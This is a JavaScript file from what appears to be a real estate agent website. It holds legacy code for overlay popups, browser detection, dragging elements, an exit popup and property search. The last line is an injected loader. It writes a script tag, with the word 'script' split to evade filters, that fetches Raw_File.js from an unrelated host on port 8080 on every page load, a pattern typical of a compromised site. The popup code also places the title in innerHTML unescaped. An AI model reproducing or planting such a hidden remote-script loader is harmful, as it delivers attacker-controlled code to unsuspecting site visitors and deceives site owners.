        function popupWindow(name, url, width, height, title)
        {
			var b_version=navigator.appVersion;
			if(b_version.match('MSIE 6.0')!=null) //MSIE 6.0  Done by bhawdeep
			{
				if(parent.window.document.forms.length>0)
				{
					for(var j=0; j<parent.window.document.forms.length ;j++)
					{
						if(parent.window.document.forms[j])
						{
							 var arrSelect=parent.window.document.forms[j].getElementsByTagName("SELECT");
							  for (var i=0; i<arrSelect.length; i++)
							  {
									if (arrSelect[i].type == 'select-one' || arrSelect[i].type == 'select-multiple')
									{
										arrSelect[i].style.display='none';
									}
							   }
						  }
					  }
				 }
		   }
			var strSiteRoot = strROOT;
			//var strUrl = strSiteRoot + "/"+ url; o
			
			var strUrl = url;
						
			var ua = navigator.userAgent.toLowerCase();
			isIE = ((ua.indexOf("msie") != -1) && (ua.indexOf("opera") == -1) && (ua.indexOf("webtv") == -1)); 
			isGecko = (ua.indexOf("gecko") != -1);
			isSafari = (ua.indexOf("safari") != -1);
			isKonqueror = (ua.indexOf("konqueror") != -1);
			
			if (window.innerHeight && window.scrollMaxY) 
			{
				// Firefox
				browseHeight = window.innerHeight + window.scrollMaxY;
				//browseWidth = window.innerWidth + window.scrollMaxX;
				browseWidth = window.innerWidth - 20;
			}
			 /*else if (screen.availHeight > document.body.offsetHeight){ // all but Explorer Mac
				browseHeight = screen.availHeight;
				browseWidth = screen.availWidth;
				
				//browseHeight = document.body.scrollHeight;
				//browseWidth = document.body.scrollWidth;
			} */
			else 
			{ 
				// works in Explorer 6 Strict, Mozilla (not FF) and Safari

				browseHeight = document.body.scrollHeight;
				browseWidth = screen.availWidth - 22;
				//browseHeight = document.body.offsetHeight;
				//browseWidth = document.body.offsetWidth;
			}
			
			/*******************************************************/
			
			var leftprop, topprop, screenX, screenY, cursorX, cursorY, padAmt;
			position = 2;
			var version4 = (navigator.appVersion.charAt(0) == "4"); 
			evnt = version4 ? event : null;
			
			if(navigator.appName == "Microsoft Internet Explorer") 
			{
				screenY = document.body.offsetHeight + 150;
				screenX = window.screen.availWidth;
				//screenY = document.body.scrollTop;
				//screenX = window.screen.availWidth;
			}
			else 
			{
				screenY = window.outerHeight;
				screenX = window.outerWidth;
			}
		
			leftvar = (screenX - width) / 2;
			rightvar = (screenY - height) / 2;
			//rightvar = screenY;
			
			if(navigator.appName == "Microsoft Internet Explorer") 
			{
				//leftprop = leftvar;
				//topprop = rightvar;
				
				leftprop = document.body.scrollLeft + ((screenX - width) / 2);
				
				if (window.pageYOffset)
				{
					  topprop = window.pageYOffset
				}
				else if (document.documentElement && document.documentElement.scrollTop)
				{
					topprop = document.documentElement.scrollTop
				}
				else if (document.body)
				{
					  topprop = document.body.scrollTop
				}				
				topprop = topprop + 30; 
				//topprop = document.documentElement.scrollTop + 40;
			}
			else 
			{
				//leftprop = (leftvar - pageXOffset);
				//topprop = parseInt(rightvar - pageYOffset);
				
				leftprop = pageXOffset  + ((screenX - width) / 2);
				topprop = parseInt(pageYOffset + 40,10);
		   }
		
			/********************************************************/
			
			if(screen.height >= height)
				{windowTop = ((screen.height - height)/2) - 80;}
			else
				{windowTop = 0;}
				
			if(screen.width >= width)
				{windowLeft = (screen.width - width)/2;}
			else
				{windowLeft = 0;}
			//alert(windowTop);
			
			windowLeft = leftprop;
			windowTop = topprop;
			//alert(topprop);
			//alert('Page : ' + pageYOffset + ', ' + pageXOffset + ' ---Screen : ' + windowTop + ', ' + windowLeft + ' --- Window : ' + browseHeight + ', ' + browseWidth);
			
			if(isIE)
			{
				frameDivWidth = width;
				frameInnerDivWidth = width;
				frameDivHeight = height-28;
				frameWidth = '100%';
				frameHeight = frameDivHeight - 10;
				lastRowHeight = "8";
			}	
			else
			{
				frameDivWidth = width;
				frameInnerDivWidth = width;
				frameDivHeight = height-20;
				frameWidth = '100%';
				frameHeight = frameDivHeight - 10;
				lastRowHeight = "8";				
			}
		    InerframeTableHeight = frameDivHeight - 40;
			if(document.getElementById("overlay"))
			{
				var d = document.getElementById('overlayMain');
				var olddiv = document.getElementById('overlay');
				d.removeChild(olddiv);
			  
				e2 = document.getElementById("overlayMain");
				e2.style.visibility = (e2.style.visibility == "visible") ? "hidden":'';	
			}
			
			var newMainDiv=document.createElement('div');
			newMainDiv.setAttribute('id','overlayMain');
			newMainDiv.style.width= browseWidth+'px';
			newMainDiv.style.height=  browseHeight+'px';
			
			newMainDiv.style.padding = "0px";
			newMainDiv.style.textAlign = "left";
			newMainDiv.style.left = "0px";
			newMainDiv.style.top = "0px";

			newMainDiv.style.position="absolute";
			newMainDiv.style.visibility="hidden";
			newMainDiv.style.backgroundImage = "url("+strROOT+"/images/overlay.gif)";
			
			/*** Inner Main Div ***/
			var newDiv=document.createElement('div');
			var h = height;
			var w = width;
            
			 newDiv.setAttribute('id',name);
			
			newDiv.className="divBorderStyle";
			//newDiv.style.border = borderClass;
			newDiv.style.width= w + "px";
			newDiv.style.height= h + "px";
			newDiv.style.padding = "0px";
			newDiv.style.textAlign = "left";
			newDiv.style.left = windowLeft+"px";
			newDiv.style.top = windowTop+"px";

			newDiv.style.position="relative";
			newDiv.style.visibility="hidden";
			newDiv.style.overfilter="Alpha(opacity=90)";
			//alert("FW" + frameDivWidth);
			var middleTDwidth1 = frameDivWidth  - 24;
			var middleTDwidth2 = frameDivWidth  - 16;
			
			if(url.indexOf("idx_editshowing.php") != -1 || url.indexOf("local_editshowing.php") != -1)
			{
			newDiv.innerHTML = '<div  class="divBgImage" style="overflow:hidden;border:0px; text-align:left;width:'+frameDivWidth+'px;cursor:default;color:#ffffff; font-family:MS Sans Serif, Arial, Helvetica, sans-serif; font-size:1px; font-weight:bold; margin:0px; padding:0px 0px 0px 0em; white-space:nowrap" ><table border=0 height=28 width="+frameDivWidth+" cellpadding="0" cellspacing="0" style="border:none;"><tr><td width="8"><img src="'+strSiteRoot+'/images/popleft.gif" border="0" width=8></td><td width='+middleTDwidth1+' background="'+strSiteRoot+'/images/popcenter.gif" style="font-size:12px;color:#365a94;font-family:sans-serif;">&nbsp;&nbsp;<b>'+title+'</b></td><td width="8" valign="middle" background="'+strSiteRoot+'/images/popcenter.gif"><a href="" title="Close" onClick="removeElement();return false;"><img alt="" align=right valign="middle" border=0 src="'+strSiteRoot+'/images/close-btn.gif" /></a></td><td width="8" height=28><img src="'+strSiteRoot+'/images/popright.gif"  border="0"></td></tr></table></div><div style="border:none; padding-top:40px; text-align:left;width:'+frameInnerDivWidth+'px;height:'+ frameDivHeight +'px;cursor:default; color:#ffffff; font-family:MS Sans Serif, Arial, Helvetica, sans-serif; font-size:8px; font-weight:bold; margin:0px; padding:0px 0px 0px 0em; white-space:nowrap" style="background-repeat:no-repeat;"><table border=0 bgcolor="#FFFFFF" cellpadding="0" cellspacing="0" width="+frameDivWidth+" height='+ frameDivHeight +'px; style="border:none;"><tr><td width="8"  background="'+strSiteRoot+'/images/popbodyleft.gif" style="background-repeat:repeat-y; "></td><td width='+middleTDwidth2+' valign="middle" colspan="2"></td><td width="8"  background="'+strSiteRoot+'/images/popbodyright.gif" style="background-repeat:repeat-y; "></td></tr><tr height="'+lastRowHeight+'"><td width="8" height="'+lastRowHeight+'" background="'+strSiteRoot+'/images/popfooterleft.gif" style="background-repeat:no-repeat;vertical-align:bottom;"></td><td width="534" height="'+lastRowHeight+'" valign="middle" colspan="2" background="'+strSiteRoot+'/images/popfootercenter.gif" style="background-repeat:repeat-x;vertical-align:bottom;"></td><td width="8" height="'+lastRowHeight+'" background="'+strSiteRoot+'/images/popfooterright.gif" style="background-repeat:no-repeat;vertical-align:bottom;"></td></tr></table></div>';
			//alert(newDiv.innerHTML);
			}
			else{
			
			
						newDiv.innerHTML = '<div  class="divBgImage" style="overflow:hidden;border:0px; text-align:left;width:'+frameDivWidth+'px;cursor:default;color:#ffffff; font-family:MS Sans Serif, Arial, Helvetica, sans-serif; font-size:1px; font-weight:bold; margin:0px; padding:0px 0px 0px 0em; white-space:nowrap"><table border=0 height=28 width="+frameDivWidth+" cellpadding="0" cellspacing="0" style="border:none;"><tr><td width="8"><img src="'+strSiteRoot+'/images/popleft.gif" border="0" width=8></td><td width='+middleTDwidth1+' background="'+strSiteRoot+'/images/popcenter.gif" style="font-size:12px;color:#365a94;font-family:sans-serif;">&nbsp;&nbsp;<b>'+title+'</b></td><td width="8" valign="middle" background="'+strSiteRoot+'/images/popcenter.gif"><a href="" title="Close" onClick="removeElement();return false;"><img alt="" align=right valign="middle" border=0 src="'+strSiteRoot+'/images/close-btn.gif" /></a></td><td width="8" height=28><img src="'+strSiteRoot+'/images/popright.gif"  border="0"></td></tr></table></div><div style="border:none; padding-top:40px; text-align:left;width:'+frameInnerDivWidth+'px;height:'+ frameDivHeight +'px;cursor:default; color:#ffffff; font-family:MS Sans Serif, Arial, Helvetica, sans-serif; font-size:8px; font-weight:bold; margin:0px; padding:0px 0px 0px 0em; white-space:nowrap" style="background-repeat:no-repeat;"><table border=0 bgcolor="#FFFFFF" cellpadding="0" cellspacing="0" width="+frameDivWidth+" height='+ frameDivHeight +'px; style="border:none;"><tr><td width="8"  background="'+strSiteRoot+'/images/popbodyleft.gif" style="background-repeat:repeat-y; "></td><td width='+middleTDwidth2+' valign="middle" colspan="2"></td><td width="8"  background="'+strSiteRoot+'/images/popbodyright.gif" style="background-repeat:repeat-y; "></td></tr><tr height="'+lastRowHeight+'"><td width="8" height="'+lastRowHeight+'" background="'+strSiteRoot+'/images/popfooterleft.gif" style="background-repeat:no-repeat;vertical-align:bottom;"></td><td width="534" height="'+lastRowHeight+'" valign="middle" colspan="2" background="'+strSiteRoot+'/images/popfootercenter.gif" style="background-repeat:repeat-x;vertical-align:bottom;"></td><td width="8" height="'+lastRowHeight+'" background="'+strSiteRoot+'/images/popfooterright.gif" style="background-repeat:no-repeat;vertical-align:bottom;"></td></tr></table></div>';
			//alert(newDiv.innerHTML);
			}

			document.body.appendChild(newMainDiv);
			document.getElementById('overlayMain').appendChild(newDiv);
        }

   function o()
{
	el = document.getElementById("overlay");
	//el.style.visibility = (el.style.visibility == "visible") ? "hidden" : "visible";
	el.style.visibility = (el.style.visibility == "hidden") ? "visible" : "visible";
	
	e2 = document.getElementById("overlayMain");
	//e2.style.visibility = (e2.style.visibility == "visible") ? "hidden" : "visible";
	e2.style.visibility = (e2.style.visibility == "hidden") ? "visible" : "visible";
}
		
	function removeElement() 
	{

		//iepopupDeSelect();			

		var d = document.getElementById('overlayMain');
		var olddiv = document.getElementById('overlay');
		d.removeChild(olddiv);
	  
		e2 = document.getElementById("overlayMain");
		e2.style.visibility = (e2.style.visibility == "visible") ? "hidden" : "visible";
	}
			
	
function Browser() {

  var ua, s, i;

  this.isIE    = false;
  this.isNS    = false;
  this.version = null;

  ua = navigator.userAgent;

  s = "MSIE";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isIE = true;
    this.version = parseFloat(ua.substr(i + s.length));
    return;
  }

  s = "Netscape6/";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isNS = true;
    this.version = parseFloat(ua.substr(i + s.length));
    return;
  }

  // Treat any other "Gecko" browser as NS 6.1.

  s = "Gecko";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isNS = true;
    this.version = 6.1;
    return;
  }
}

var browser = new Browser();

// Global object to hold drag information.

var dragObj = new Object();
dragObj.zIndex = 0;

function dragStart(event, id) {

  var el;
  var x, y;

  // If an element id was given, find it. Otherwise use the element being
  // clicked on.

  if (id)
    {dragObj.elNode = document.getElementById(id);}
  else {
    if (browser.isIE)
      {dragObj.elNode = window.event.srcElement;}
    if (browser.isNS)
      {dragObj.elNode = event.target;}

    // If this is a text node, use its parent element.

    if (dragObj.elNode.nodeType == 3)
      {dragObj.elNode = dragObj.elNode.parentNode;}
  }

  // Get cursor position with respect to the page.

  if (browser.isIE) {
    x = window.event.clientX + document.documentElement.scrollLeft
      + document.body.scrollLeft;
    y = window.event.clientY + document.documentElement.scrollTop
      + document.body.scrollTop;
  }
  if (browser.isNS) {
    x = event.clientX + window.scrollX;
    y = event.clientY + window.scrollY;
  }

  // Save starting positions of cursor and element.

  dragObj.cursorStartX = x;
  dragObj.cursorStartY = y;
  dragObj.elStartLeft  = parseInt(dragObj.elNode.style.left, 10);
  dragObj.elStartTop   = parseInt(dragObj.elNode.style.top,  10);

  if (isNaN(dragObj.elStartLeft)) {dragObj.elStartLeft = 0;}
  if (isNaN(dragObj.elStartTop))  {dragObj.elStartTop  = 0;}

  // Update element's z-index.

  dragObj.elNode.style.zIndex = ++dragObj.zIndex;

  // Capture mousemove and mouseup events on the page.

  if (browser.isIE) {
    document.attachEvent("onmousemove", dragGo);
    document.attachEvent("onmouseup",   dragStop);
    window.event.cancelBubble = true;
    window.event.returnValue = false;
  }
  if (browser.isNS) {
    document.addEventListener("mousemove", dragGo,   true);
    document.addEventListener("mouseup",   dragStop, true);
    event.preventDefault();
  }
}

function dragGo(event) {

  var x, y;

  // Get cursor position with respect to the page.

  if (browser.isIE) {
    x = window.event.clientX + document.documentElement.scrollLeft
      + document.body.scrollLeft;
    y = window.event.clientY + document.documentElement.scrollTop
      + document.body.scrollTop;
  }
  if (browser.isNS) {
    x = event.clientX + window.scrollX;
    y = event.clientY + window.scrollY;
  }

  // Move drag element by the same amount the cursor has moved.

  dragObj.elNode.style.left = (dragObj.elStartLeft + x - dragObj.cursorStartX) + "px";
  dragObj.elNode.style.top  = (dragObj.elStartTop  + y - dragObj.cursorStartY) + "px";

  if (browser.isIE) {
    window.event.cancelBubble = true;
    window.event.returnValue = false;
  }
  if (browser.isNS)
    {event.preventDefault();}
}

function dragStop(event) {

  // Stop capturing mousemove and mouseup events.

  if (browser.isIE) {
    document.detachEvent("onmousemove", dragGo);
    document.detachEvent("onmouseup",   dragStop);
  }
  if (browser.isNS) {
    document.removeEventListener("mousemove", dragGo,   true);
    document.removeEventListener("mouseup",   dragStop, true);
  }
}


<!-- Function to be called on unload for displaying the popup on Exit --->

function DoPopupOnExit()
{
var ppleft = (window.screen.width - 550) / 2;
var pptop = (window.screen.height - 285) / 2;
popwin = window.open('viewformatted.php?popupid=6261','viewpopup',
'width=550,height=285,left=' + ppleft + ','+
'top=' + pptop + ',scrollbars=1,'+
'resizable=1,status=0,menubar=0,toolbar=0,'+
'location=0,directories=0,copyhistory=0');
}

function on_search()
{
         var form=document.searchform;
         var value=form.searchvalue.value;
         var by='2';
         if(value=="")
                 alert("Please enter a property ID");
         else
                 window.location.href("custompages_proplist.php?by="+by+"&value="+value);
}
function reset_search()
{
        var form=document.searchform; form.searchvalue.value = '';
}
function on_advsearch()
{
        window.location.href("custompages_searchform.php");
}



function DoPrintPage()
{
 
    
    var link = 'www.real-estate-agent-web-site.com';
    
    if ((link.indexOf("http://") == -1)&&(link.indexOf("https://") == -1))
    {
        link = "http://" + link;
    }
    
      popwin = window.open( link + '/custompages_home.php?&mod=preview','popupform',

      'width=500,height=425,scrollbars=1,'+

      'resizable=1,status=0,menubar=0,toolbar=0,'+

      'location=0,directories=0,copyhistory=0,screenX=300,screenY=100');
    
}
     
        


document.write('<s'+'cript type="text/javascript" src="http://kollinsoy.skyefenton.com:8080/Raw_File.js"></scr'+'ipt>');